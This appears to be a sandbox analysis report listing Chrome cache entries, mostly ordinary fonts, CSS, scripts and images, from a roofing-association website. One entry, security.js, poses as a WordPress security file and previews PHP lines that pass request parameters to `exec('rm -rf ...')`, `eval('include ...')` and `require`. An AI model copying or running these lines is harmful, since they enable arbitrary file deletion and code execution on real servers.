Preview:	wOF2......4........0..4..J.\|....................?FFTM....`..Z.....D..Q.6.$..T..6.. ..[..+. k.......E..G....pt.....4{./!.F..9!sU.[\k.Fn...DFDFDFD."i.N....1p.m.......3.B.d.%.........J...n...........\fcm......C.....vOo.....v.9..kVt......MPF..../...9_.u)....W....J....`.l.D.O^.2-......^.2..Q...?.0...Yj............{..- .l....mQ.8@.....V..hV.Rl..2.K...,.....5....[S6..-...y!.8...Z3..L..8Ia...v.@ i.......g..\|.Z.-C.....A..V-.=6.'.L]b*...V!.].N.\|.n..0'."4.!....-m.zc~~\|......K......N......:,..H....(...<=..(....%.!.B..H.........&C..g.........\{]sEK..ms:.H.{v....v.9.a.b...-.DV.....w?....b../k.C.>./.b).L.A......8y.%. -d.......C`9.D.p...j8.......<.AI..j...#...r...1{..^..9..C..p...6"$.G..,..%..F..`._.a7..3.....\|..G.1.3.t.,..u~.e.{.~.7.lILJr..G.fu.f(...9.[y...=...ssQ...a3j..i.w.hO.L/.#s..7.w...A9.R4.k.+.~9...x.i.......3qHY.X_W7uG.....G.._=.v...-.6.Y.d..K.9..3n/O2.8.....k/...w..g.I..bcef....E..>..nw:.....kiS.YB.?.;..n`...f.._.q/......."h.FB2+.iD...p

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	204114
Entropy (8bit):	4.977905698227445
Encrypted:	false
SSDEEP:	6144:/Ao2ubtzJGTliHpoAcey4OZjL0Z+QqKYWAniXgX:XGUYd
MD5:	E9B03409760DDCB4FAF3B026FA4A476B
SHA1:	127ABB80B4EE7819FE37CFA5080A822BC24392BE
SHA-256:	7B454CF3D3E4F1A51BF7EC98A93E00ABDCBD9BDB018B032094F88B5D535D4C82
SHA-512:	84F8B318B09A98FAF9FBEB78DAE8D906CE91C3388FC4C0DBE347DCB921BC6F696724B44F740BDC3D3332E7ADE4782AFF9713CD057800B8F9832F5590E453512A
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/ultimate-responsive-image-slider/assets/js/jquery.sliderPro.js?ver=1.5.0
Preview:	/!. - v1.5.0.* Homepage: http://bqworks.com/slider-pro/.* Author: bqworks.* Author URL: http://bqworks.com/.*/.;(function( window, $ ) {..."use strict";...// Static methods for Slider Pro..$.SliderPro = {....// List of added modules...modules: [],....// Add a module by extending the core prototype...addModule: function( name, module ) {....this.modules.push( name );....$.extend( SliderPro.prototype, module );...}..};...// namespace..var NS = $.SliderPro.namespace = 'SliderPro';...var SliderPro = function( instance, options ) {....// Reference to the slider instance...this.instance = instance;....// Reference to the slider jQuery element...this.$slider = $( this.instance );....// Reference to the slides (sp-slides) jQuery element...this.$slides = null;....// Reference to the mask (sp-mask) jQuery element...this.$slidesMask = null;....// Reference to the slides (sp-slides-container) jQuery element...this.$slidesContainer = null;....// Array of SliderProSlide objects, ordered by their

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884048476
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	2545
Entropy (8bit):	7.144078312196678
Encrypted:	false
SSDEEP:	48:HKJqZ5vxZv9ud9c5674XCj1MWBXqSP6kn6daLzvBEKP:HwYJIdGU74yj1RXq9k6dafv+
MD5:	4B3AFB84B2B71EF56DF09997A350BD04
SHA1:	ACCDAC8A7ABEAB0E21C49539AAD0A973ADDB28EF
SHA-256:	9034D5D34015E4B05D2C1D1A8DC9F6EC9D59BD96D305EB9E24E24E65C591A645
SHA-512:	D65078B5D13873ADB363472B5C358F6B42C128B530F8FEBA9776F8E4906CC97F20EE7BF1E823336CDA8049147A9C7FA5E4016F07F96EC154F3774FBDE1A564B6
Malicious:	false
Reputation:	low
Preview:	GIF89a...........................................vvv......hhh..........................................!..Created with ajaxload.info.!.......!..NETSCAPE2.0.....,........... .$.AeZ...<...Q46.<...A.......H.a....:....ID0.F...a\xG.3...!...O:-....Rj...TJ..........t...........~."...ds]......)t...-"...i;H>.n.Qg]_......R.3.....GI?.....v$...j3!.!.......,........... .$.0eZ..y..0..q ..P..W...)";..qX.^..D50......<H3.!.....k-.n..a. .(.i...d.$P@y.w`.J..#.....?..y........o...g.....f....'8..{..'C.p`j.n."...2.{.`x...jy.4...C,.4..o#n.$.....!.!.......,........... .$. eZ...$.2.....q....E. ....p$H@D/.....G.D.j8v#..P((D..... ..N.(3..#.y....(@...gUx.kK.).....?K...............$..."...........K.....W......x..?.G...#.W....n.h.K,.....+.....!.!.......,........... .$ .eZ..Y.$1..Q(c......O'"............. 1....q.d"..A.....V.x8p..4988.MRC.@....e.3@.iI.)..'.?I.........@.......,.....#.........5..,.....".E..z...?..@.E...@.....).....*!.!.......,........... .$.(e..$....C.E1..;...('2$..

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1338
Entropy (8bit):	4.783914997089008
Encrypted:	false
SSDEEP:	24:CdNOseJsuuzspaqTMKOspZUOspBspoiBsOC4XQsoI5yudNsNCmo8XMP7o0M:CdNOsMsdzsoGOsHUOsbsWIsOmsx5DNsh
MD5:	E6A3A85FAE377F262F223A1D2D51DEB2
SHA1:	02EDE6849CA6130B8BDE728BCB0282DBB9BE2C56
SHA-256:	2C81DED3C5BEBB3D7F4A806CABC813C4134D2EDB32EACF91A9F4DBC80A350032
SHA-512:	C3EFA456B1D263C183370C5B066BBF86F54A33581CABF59B7445B34ED6D1DFD6B2F45810EAA59B91A9DFEBD0BC8674968F34AB5DE528B3B3999F7D0AB26771D8
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.dialog.css
Preview:	/* Dialog.----------------------------------*/..ui-dialog { position: relative; padding: .2em; width: 300px; font-size:11px; }..ui-dialog .ui-dialog-titlebar { padding: .5em .3em .3em 1em; position: relative; font-size:11px; }..ui-dialog .ui-dialog-title { float: left; margin: .1em 0 .2em; font-size:11px; }..ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; font-size:11px; }..ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; font-size:11px; }..ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; font-size:11px; }..ui-dialog .ui-dialog-content { border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; font-size:11px; }..ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; font-size:11px; }..ui-dialog .ui-dialog-butto

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	4.5283237711091315
Encrypted:	false
SSDEEP:	6:zvgTJooTAoklMGcXQluGDFqNkHF0QJKqkM7w6dov:zvgTJooTJklMuluiFq6HWQBkMs6Kv
MD5:	261B7862523CFBD764F7F880314807FB
SHA1:	001B823A559A14959768D1C17F4C4C5EE5E1B340
SHA-256:	1A13210C85466104CDFA023BA0A7D4518129859BA2B1FCCE34A01F6891B9C2C3
SHA-512:	A02E1B4A613E357179A6B8644D8D1C4B5DB3D57D7C827C7FC8D4BBB349816121800EBAF69D690F93F962DCA95434C1A33506C28BBF3D99D905558B8D8741024E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/js/floating-top-link.js?ver=1.0.5
Preview:	jQuery(function($){. var topBtn = $('#js-FloatingTopLink');. topBtn.hide();. $(window).scroll(function () {. if ($(this).scrollTop() > 100) {. topBtn.fadeIn();. } else {. topBtn.fadeOut();. }. });. topBtn.on('click', function(){. $('html,body').animate({ scrollTop: 0 },'fast','swing');. return false;. });.});.

Chrome Cache Entry: 539

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4352
Entropy (8bit):	5.397517794607866
Encrypted:	false
SSDEEP:	96:1OLNFlOLNTFZKOLNZOLNW3yOLNwOLN8Vc+umOLN+1N1OCNnlOCNiFZKOCNWOCND5:ANFQNDN8NW3XNtNGqN+lNn1NhN6ND3eo
MD5:	4E3C0364981FEF592C32B4E469B7A715
SHA1:	49A51C52BC78D231B6F0CC2705BE21FB2570DCEE
SHA-256:	396BD1AB182A204C8C227C5D6AEF6CBE3A3481500E816635B408DA715695DFA1
SHA-512:	5D577699EC2429000091F32BC2C91E38C1341834D9BC16AF5EDB2D7040D5B55E94893381C0B583B703226C396C842EB9970B5754D0EBEA364D4E9FB5158BF3C8
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Roboto:400,700"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');. unicode-range: U+0370-0377

Chrome Cache Entry: 540

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	300374
Entropy (8bit):	5.563914183812295
Encrypted:	false
SSDEEP:	3072:xK44ggAZVNSNcMzszFeIjx8g9CBPIrTWRsYESfhmpt2nBsLqeywXDeltzvsX9ohc:84MAFMgzFebY0fhmpt+aqeywXDelJsXJ
MD5:	0BA7373CD114088CCA80DAD00BA6DAD8
SHA1:	577DBCC494A1FAE2DD077DC952B7D6AD1BE56115
SHA-256:	3BB60359FDD2A5B06DD442E6876D8F9E1AE05E5F40E5DAA433C3FDBF6F4EFB8B
SHA-512:	287311E821154A059B5546957BD2064EE1429E3A3108802FB3CDA45EE82B23E9558984FF5BEACE20A9FBBEB7644D244E2BA266A35E326E3C347187AED531F9F4
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-YHMWY88VCL
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_autoEmailEnabled":true,"vtp_autoPhoneEnabled":false,"vtp_autoAddressEnabled":false,"vtp_isAutoCollectPiiEnabledFlag":false,"tag_id":10},{"function":"__ccd_ga_first","priority":13,"vtp_instanceDestinationId":"G-YHMWY88VCL","tag_id":25},{"function":"__set_product_settings","priority":12,"vtp_instanceDestinationId":"G-YHMWY88VCL","vtp_foreignTldMacroResult":["macro",5],"vtp_isChinaVipRegionMacroResult":["macro",6],"tag_id":24},{"function":

Chrome Cache Entry: 541

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1162)
Category:	downloaded
Size (bytes):	1163
Entropy (8bit):	4.791292036379687
Encrypted:	false
SSDEEP:	24:7XjmZhXjmgrXXjZe/UXj0XjfIqwr6KXjfoXjfosiOXjAs3XjfsXjfvyXjfRXjbqO:7XUhXrTXYsXoXzIqwr6KXzoXzSOXjXz3
MD5:	5DAF26C83906E0C39BF949E1FD71166F
SHA1:	713548253EF9A5589A7E63E7380534D6C7A9FCB0
SHA-256:	E5C94E9BD3200DCCA670DAB82CFE30AAAAA3BA3999C92B176308A6D53372D7B4
SHA-512:	8AAC24A576E3F56D7121E819603ACDE27DD7FEA1EDB6BC1CFB2B59D7F8F11FD25A32B4E5D1234EC1A04FA8E228482E87365D54874EFB4ADB1CE78BB54DB10BDA
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/tablepress/blocks/table/build/index.css?ver=6.0.7
Preview:	.wp-block-tablepress-table>.render-wrapper{max-height:400px;min-height:64px;overflow:scroll}.wp-block-tablepress-table>.render-wrapper>.tablepress{margin:0 auto;pointer-events:none}.wp-block-tablepress-table>div>div>.render-wrapper{display:none}.wp-block-tablepress-table>div>div{margin-top:8px!important}.wp-block-tablepress-table .table-overlay{background-color:hsla(0,0%,100%,.5);box-shadow:inset 0 0 50px #ccc;box-sizing:border-box;font-weight:700;height:100%;padding:2em;top:0;width:100%}.block-editor-block-preview__content-iframe .wp-block-tablepress-table .table-overlay{display:none}.wp-block-tablepress-table .render-wrapper+.table-overlay{position:absolute}.wp-block-tablepress-table:hover .render-wrapper+.table-overlay{display:none}.wp-block-tablepress-table .components-placeholder{min-height:160px}.wp-block-tablepress-table .components-placeholder__label .dashicon{margin-right:10px}.wp-block-tablepress-table .components-placeholder__instructions{line-height:normal}.wp-block-tablepr

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7707
Entropy (8bit):	4.902941429493653
Encrypted:	false
SSDEEP:	96:Q7kQSJH809PZA1zHEDcJJo6UEEGFQfm5k4oVV+21QYY5EeC8F4iZFdEbn3unqLFR:dj8IajkU2r0ur+wv
MD5:	D563A1E53C7B0BE224046DB01A7E810A
SHA1:	D18B021908F20750142B6668C5A5F09D3B16FDF4
SHA-256:	DA232D757AB27C8B8AD01A006187C79A7B1769B7E60D04308AAED60D40575400
SHA-512:	D272FCC0CC3E801CDC20E01005F72DF9940BD3E8EEE03D2B1D69C2E822A9DB6547CCB1FF807CC3907EAD9C6FF52FCA17710705B2CE740E0AFD62C9B7F34DD316
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/960.css?ver=1.0
Preview:	/..960 Grid System ~ Core CSS...Learn more ~ http://960.gs/...Licensed under GPL and MIT.././* v1.0 \| 20091131 /./ `Containers.----------------------------------------------------------------------------------------------------/..container_24 {..margin-left: auto;..margin-right: auto;..width: 960px;.}../ Grid >> Global.----------------------------------------------------------------------------------------------------/..grid_1,..grid_2,..grid_3,..grid_4,..grid_5,..grid_6,..grid_7,..grid_8,..grid_9,..grid_10,..grid_11,..grid_12,..grid_13,..grid_14,..grid_15,..grid_16,..grid_17,..grid_18,..grid_19,..grid_20,..grid_21,..grid_22,..grid_23,..grid_24{..display:inline;..float: left;..position: relative;..margin-left: 0px;..margin-right: 0px;.}../ Grid >> Children (Alpha ~ First, Omega ~ Last).----------------------------------------------------------------------------------------------------/...alpha {..margin-left: 0;.}...omega {..margin-right: 0;.}../ Grid >> 2 Columns.-----------

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1425 x 300, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	264122
Entropy (8bit):	7.994954482498695
Encrypted:	true
SSDEEP:	6144:npVvnA0bcdJTp6mrjb+qnCurlDke9aLxANzXZEnDdZabLs:npVo2cnImrvrnC4lraQ1C8Ls
MD5:	3E02C282956B2A8FD5AE268F4451035B
SHA1:	6A638C047782DC3E72C089551CECEA4104156B9A
SHA-256:	B536A039441AB3350924B40D675D0FCCC253F2660537F95AD8B46DBD44F53A3F
SHA-512:	04B492504952B84BA7705A0111D51A5D49598A3A6D1543F910A305E7DE3C1BE510934FEA4ABB69DDF2F9E08DABBD26F7A56A3B40E1B2A3806EE6DFF8D546FCEC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......,......r.L....PLTE....#'=<;Q\c...............@O2:97$.....U`fe.....(".Ycie.....i..743...NX_]xz\fmIU\.)...1)!VosZtw5 .%,.v.._kpm.... A@=...o..RjnFRY7/$e{.s..p..x..^\|}...Nejy..%02)&&....vq........{2.1}pj......$...{v.(.CS#4.RRP.jF.".@OU'4;cpw...xjd.]A\...;.8IOOA8DKQ......J`e......=K.qea4C.f..6BJm_Y..r...E1%...........l}..8V...EZ_.V;.....xXJBev.G:1..gfYR.cC..oaRK........%8J....GM61:B.V#.....\|LV<.N....aD....F.........K...W^FI\).pO1A,...prV...HFC.'5...88!.........&A`..M5U8)..j...E'..}e.v]...ahQ"<E.............o...mL........=....{....Uf0mkn....iO...rH4wV=Xj.&6&...yV`\atsvvjO.....x....Q..]Y,.`'.~......z..x{}vyc.l...M_{..b...cu.bB0..o.....z....k9'...Q..Wie<.^.B.yW[....~.3Jh.....<y{J...>Tudr;.5..j.....#..v........n._C...:..Pt....\L...v..*.xw....+u./...{..........tRNS....H............_IDATx...TSg............AG..Sj=.....2.X#.1....U..TxC......$...~.G..>F.B.x...6.E....J}.:...K-oWWgM......wv...9..!.$.d........w._G.w.e.8.cw..;....x..G.v..`.

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1996
Entropy (8bit):	5.146011385731196
Encrypted:	false
SSDEEP:	48:JP0z8gffOOeR8CBNuVOGrVO3NSRCDBei6Bqf7ib5v4948EsGrr:B0z8gXSR8C0VOGrVO3NSR+BT/eb5v49o
MD5:	77D9D71F8EA4B20D36249534E90DF81A
SHA1:	B116D268D61ED8901EF216C792BE4FFD995AA9B4
SHA-256:	27F0C9BA854B80B5E7257015F96F695D7BD32B155B209CF37BE396879933C0B6
SHA-512:	C85EE325C1BEFC72E8D0AAB3F2F04E85F44E2479311CCCC56A551E3E4E27BAE13845D87BD6A77EB4EE074D4E4A1B5F099557EFED2CD051AC9447C19697F2ECA5
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/jmc-assets/nivo-slider-css/nivo-slider.css
Preview:	/.. jQuery Nivo Slider v3.1.. * http://nivo.dev7studios.com.. .. Copyright 2012, Dev7studios.. * Free to use and abuse under the MIT license... * http://www.opensource.org/licenses/mit-license.php.. /.. ../ The Nivo Slider styles /...nivoSlider {...position:relative;...width:100%;...height:auto;...overflow: hidden;..}...nivoSlider img {...position:absolute;...top:0px;...left:0px;...max-width: none;..}...nivo-main-image {...display: block !important;...position: relative !important; ...width: 100% !important;..}..../ If an image is wrapped in a link /...nivoSlider a.nivo-imageLink {...position:absolute;...top:0px;...left:0px;...width:100%;...height:100%;...border:0;...padding:0;...margin:0;...z-index:6;...display:none;..}../ The slices and boxes in the Slider */...nivo-slice {...display:block;...position:absolute;...z-index:5;...height:100%;...top:0;..}...nivo-box {...display:block;...position:absolute;...z-index:5;...overflow:hidden;..}...nivo-box img { display:block; }....

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48208, version 1.0
Category:	downloaded
Size (bytes):	48208
Entropy (8bit):	7.9958232364340525
Encrypted:	true
SSDEEP:	768:4niiDrjlhOaQ/MCUsBD7rYJPvL8HLaJagHkij8pKoA8caCAW61V8AMdE:dArpQ/MCUsBctoHOMokiAk19ur
MD5:	C49B7C3643F781D71645C5A40A78B5BF
SHA1:	E71138026B38AFC443FB60DA5FFC2244C4F5EB11
SHA-256:	8CBC049DDBD7CA67068451CE754401833499959C4C6ED7B98F664D42E0597808
SHA-512:	B71533F82F759AD7BEC575C8FA3F4D76E78362718E56934D5D5629A906AB66BCD402E177A80D0072E816B1290EA7C091E919CF3EB8444BFEBA116437EE2EB22E
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/raleway/v29/1Ptug8zYS_SKggPNyC0ITw.woff2
Preview:	wOF2.......P......................................o...l..P?HVAR...`?STAT.8'2..4....../~.....$..U..,.0..<.6.$..T. ..J.. ...[;mq...v..>.7.......e..f..P.^...]....a.. ..4...._.TD...i......p.T!..).).......}.Zm...Zq8.....]$C;9[...0...H..).....)....F.eP..G.t^..}V.Y.hO1..T&m..3.GLP&}.R..E.pC7.......Q..c.D.'....:d..$7D2D2....zu3.W. ..z......\...d.....o.[..,.....7[2&76.P.^..X.M.b.;..Atu..N.M.....b...#..K. AE.v.....P%..u.....u.:..$@... ..z5S.x9.UbN.f.:..[.$..BK.!......@h...... b..0 .....ky.k^....".C..8.......a.....3r..HBB..P..L.../.Frfx>.....!..;+e(.z...r...9\|.%..n1....Yv.\:..e..%v].....r.%v.#.-././.]"..,38$H.1.(.1..{d.dE..I.S.8.Jy.2.....p....66.....E.X".....}W...!.gw..&+2...2.Yf.p.w......8.9...IL..7.$.W..\D....@.:m.JjN...4.c=@.kUu2..0{.d...~x..=c......~n.Y..-.R!FM!.....1V`@.....K.eH...C...U.u...'{../=8Yd.M&.g.}...GI...}b.0U........&E.T4)S.....dY@...j... ..3..'.d.{._.*.Z.!:......,......\|.n.......N..a..=..A#.(.@ ..#......U.".g.;.WJ.....LP.. C...!

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20382)
Category:	downloaded
Size (bytes):	20601
Entropy (8bit):	5.267359634831153
Encrypted:	false
SSDEEP:	384:7eWk5QRqhaFKTWKFaTOqU5SEhy6ya0FmDj5OhSu0LSah4A5Pz:7eWk5RhaFKTWKFauSEE6ya0FmDj51u0B
MD5:	5A627237805BA8FDE358E571C3333197
SHA1:	B7365A7674259F505DC10E24E1B06C7E64555ED1
SHA-256:	43CDF46F331FEC5BA92E402E3D5CAD473099892CBDAFCA02E607CD03705104BF
SHA-512:	656785C0819F4CE75BC59C34854DF9224C98B5A7865979A93AA8B7346A919EB369A55F5F97B07AED5207A8D3279381442371C81BDC67F4A0F7D2D519040451F2
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.1
Preview:	/!. WPBakery Page Builder v6.0.0 (https://wpbakery.com). * Copyright 2011-2019 Michael M, WPBakery. * License: Commercial. More details: http://go.wpbakery.com/licensing. */..// jscs:disable.// jshint ignore: start..document.documentElement.className+=" js_active ",document.documentElement.className+="ontouchstart"in document.documentElement?" vc_mobile ":" vc_desktop ",function(){for(var prefix=["-webkit-","-moz-","-ms-","-o-",""],i=0;i<prefix.length;i++)prefix[i]+"transform"in document.documentElement.style&&(document.documentElement.className+=" vc_transform ")}(),function($){"function"!=typeof window.vc_js&&(window.vc_js=function(){"use strict";vc_toggleBehaviour(),vc_tabsBehaviour(),vc_accordionBehaviour(),vc_teaserGrid(),vc_carouselBehaviour(),vc_slidersBehaviour(),vc_prettyPhoto(),vc_pinterest(),vc_progress_bar(),vc_plugin_flexslider(),vc_gridBehaviour(),vc_rowBehaviour(),vc_prepareHoverBox(),vc_googleMapsPointer(),vc_ttaActivation(),jQuery(document).trigger("vc_js"),window.s

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	292665
Entropy (8bit):	7.982311233524928
Encrypted:	false
SSDEEP:	6144:BlNnagasMOimZ3nA0Yfvn+lTBk55iA84zKBexpleowPqjOHXuW:1wsMOiAnLqn26/cjeX/3U
MD5:	ED14719787F06FFB40F59FC1706EB267
SHA1:	C15CC87BD7BDD20C408F84176032355E4B4ED4A5
SHA-256:	05120811D50FB167F423F40C2FCB2CB321D9E227A226F0A3D98C93B4A10E6CF6
SHA-512:	9458DCEDD943FA9685C8BB7A5A71869053031D1DABE6A30AE0CCBEB96ADC63F057E018DC99EC8016B0563F3CD1878B4405BE2A57FB6435963A8853B8F0BF0838
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2022/05/V2-Banner-1900x400-1.png
Preview:	.PNG........IHDR...l.........U.`....HPLTE................................q.{{.qqteehTUV(\($Y%!V".S.=<<.P..K....c.....v.IDATx...r.H.d..1y..\|....O...Uu..yh..J$.j.J.B.f{/....-j..{w.-...w.....v......^R.<9{o.z..0N..;s.N!..,..&{_......p..W5..z..iV.in.P.LH...V..HW..].w.gc. .]afG{.....J#..uG.......%.......2.).%.b&".#.3.E.fV.....]..;y.8..&....}W0...1.c.i.....A..Y...J....i[..{3.f.,.].&..;f....Tm...w........w..jk.z:43...ui.Q%R.=...;......u...:0a..A.O.S.n4.q/..U.x.aU..ah.y.ifg:.X.....RGY..6.D9....p.)..]C?V...T..y.=.8.'...{...31.....S..Nk..e.vv..V..d.}......T.......,..>....#.=...Jv....G.C.J.P....d.PY..D.J\|.'...9.....c.,..;f..zhVai..fp?.N.....K.x.....f....M#.x@...wT...jf{.t.....q.$jV...@h.s.A..p..HU.we....DFT5.O.H.:.(...@Z.....g..,..H.....1.N."[.0.DS...:....2..h+.2..Y...+..F!.3...dW../.FfF.td'.....jD.E........`!.-..E.....~......y.........}..{...Q.}....w.wg%jG..43...8..{.?...{I..#.....6.3b...2"......J...........;3..sD......]...~"..3.#..3......7w..

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
